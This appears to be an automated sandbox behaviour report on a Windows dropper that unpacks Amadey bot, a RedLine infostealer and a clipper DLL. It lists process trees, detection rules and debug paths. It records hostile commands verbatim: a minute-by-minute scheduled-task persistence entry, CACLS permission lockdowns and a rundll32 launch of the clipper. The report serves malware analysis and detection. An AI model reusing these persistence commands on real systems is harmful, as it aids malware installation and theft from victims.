Source: 00000002.00000003.343232585.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_011D1F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F81F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_00F81F90

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: String function: 0040E1D8 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: String function: 005BE43F appears 44 times
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: String function: 011E7CE0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: String function: 011E5E20 appears 130 times

Source: file.exe	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 425676 bytes, 2 files, at 0x2c +A "bmMg.exe" +A "xriv.exe", ID 1580, number 1, 20 datablocks, 0x1503 compression
Source: bmMg.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 234410 bytes, 2 files, at 0x2c +A "amMl.exe" +A "nika.exe", ID 1546, number 1, 12 datablocks, 0x1503 compression

Source: file.exe, 00000000.00000003.261384983.0000000004B55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs file.exe

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\amMl.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/14@0/1

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_011D597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_011D597D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Code function: 2_2_0239A1A8 ChangeServiceConfigA,

2_2_0239A1A8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_011D4FE0 FindResourceA,LoadResource,LockResource,GetDlgItem,ShowWindow,GetDlgItem,ShowWindow,FreeResource,SendMessageA,

0_2_011D4FE0

Source: file.exe

ReversingLabs: Detection: 66%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_011D1F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F81F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_00F81F90

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_011D597D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Code function: 2_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

2_2_004019F0

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4552:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4528:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2

Source: C:\Users\user\Desktop\file.exe	Command line argument: Kernel32.dll	0_2_011D2BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Command line argument: Kernel32.dll	1_2_00F82BFB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Command line argument: 08A	2_2_00413780

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: AC:\jir\banilukulivuj\lagite48_xag84\kukafed\varawayaseyu\36-h.pdb source: bmMg.exe, 00000001.00000003.262109812.0000000004742000.00000004.00000020.00020000.00000000.sdmp, amMl.exe, 00000002.00000000.262316550.0000000000401000.00000020.00000001.01000000.00000005.sdmp, amMl.exe.1.dr
Source:	Binary string: wextract.pdb source: file.exe, bmMg.exe.0.dr
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: file.exe, 00000000.00000003.261534340.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.261384983.0000000004B55000.00000004.00000020.00020000.00000000.sdmp, xriv.exe, 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmp, xriv.exe, 0000000F.00000000.400800832.00000000011FE000.00000002.00000001.01000000.0000000A.sdmp, xriv.exe, 0000000F.00000003.401064354.0000000000D5D000.00000004.00000020.00020000.00000000.sdmp, mnolyk.exe, 00000010.00000002.785330986.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 00000010.00000000.402691693.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001B.00000000.409509080.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001B.00000002.410333613.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001F.00000000.518871560.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 0000001F.00000002.519216462.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 00000023.00000000.645436147.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 00000023.00000002.646132951.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 00000024.00000000.774022466.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe, 00000024.00000002.774254315.000000000085E000.00000002.00000001.01000000.0000000B.sdmp, mnolyk.exe.15.dr, xriv.exe.0.dr
Source:	Binary string: Healer.pdb source: amMl.exe, 00000002.00000002.367490404.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, amMl.exe, 00000002.00000002.367466670.00000000025B0000.00000004.08000000.00040000.00000000.sdmp, amMl.exe, 00000002.00000002.367279348.00000000020F0000.00000004.00000020.00020000.00000000.sdmp, amMl.exe, 00000002.00000002.367376734.0000000002350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wextract.pdbGCTL source: file.exe, bmMg.exe.0.dr
Source:	Binary string: C:\Users\Admin\source\repos\Healer\Healer\obj\Release\Healer.pdb source: bmMg.exe, 00000001.00000003.262236025.00000000007B1000.00000004.00000020.00020000.00000000.sdmp, bmMg.exe, 00000001.00000003.262206496.00000000007B1000.00000004.00000020.00020000.00000000.sdmp, bmMg.exe, 00000001.00000003.262109812.000000000479D000.00000004.00000020.00020000.00000000.sdmp, nika.exe, 0000000E.00000000.368083215.0000000000A02000.00000002.00000001.01000000.00000009.sdmp, nika.exe.1.dr
Source:	Binary string: _.pdb source: amMl.exe, 00000002.00000002.367490404.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, amMl.exe, 00000002.00000002.367279348.00000000020F0000.00000004.00000020.00020000.00000000.sdmp, amMl.exe, 00000002.00000002.367376734.0000000002350000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\jir\banilukulivuj\lagite48_xag84\kukafed\varawayaseyu\36-h.pdb source: bmMg.exe, 00000001.00000003.262109812.0000000004742000.00000004.00000020.00020000.00000000.sdmp, amMl.exe, 00000002.00000000.262316550.0000000000401000.00000020.00000001.01000000.00000005.sdmp, amMl.exe.1.dr
Source:	Binary string: D:\Mktmp\Amadey\ClipperDLL\Release\CLIPPERDLL.pdb source: mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000002.785642751.000000006F69F000.00000002.00000001.01000000.0000000D.sdmp, clip64.dll.16.dr, clip64[1].dll.16.dr
Source:	Binary string: Healer.pdbH5 source: amMl.exe, 00000002.00000002.367490404.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, amMl.exe, 00000002.00000002.367466670.00000000025B0000.00000004.08000000.00040000.00000000.sdmp, amMl.exe, 00000002.00000002.367279348.00000000020F0000.00000004.00000020.00020000.00000000.sdmp, amMl.exe, 00000002.00000002.367376734.0000000002350000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Unpacked PE file: 2.2.amMl.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Unpacked PE file: 2.2.amMl.exe.400000.0.unpack .text:ER;.data:W;.gus:R;.dux:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D724D push ecx; ret	0_2_011D7260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F8724D push ecx; ret	1_2_00F87260
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0041C40C push cs; iretd	2_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_00423149 push eax; ret	2_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0041C50E push cs; iretd	2_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_004231C8 push eax; ret	2_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0040E21D push ecx; ret	2_2_0040E230
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0041C6BE push ebx; ret	2_2_0041C6BF
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005CC125 push ebx; ret	2_2_005CC126
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005BE484 push ecx; ret	2_2_005BE497
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005CBE73 push cs; iretd	2_2_005CBF49
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_005CBF75 push cs; iretd	2_2_005CBF49
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_02394139 push edi; iretd	2_2_0239414E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Code function: 2_2_0239454E push ecx; retf	2_2_02394554
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 15_2_011DF748 push E8FFFFFBh; iretd	15_2_011DF74D

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_011D2F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,

0_2_011D2F1D

Source: nika.exe.1.dr

Static PE information: 0xE382D401 [Fri Dec 15 06:19:45 2090 UTC]

Source: amMl.exe.1.dr	Static PE information: section name: .gus
Source: amMl.exe.1.dr	Static PE information: section name: .dux

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.785793369.00000000010FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mnolyk.exe PID: 4184, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	File created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D1AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		0_2_011D1AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe	Code function: 1_2_00F81AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		1_2_00F81AE8

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
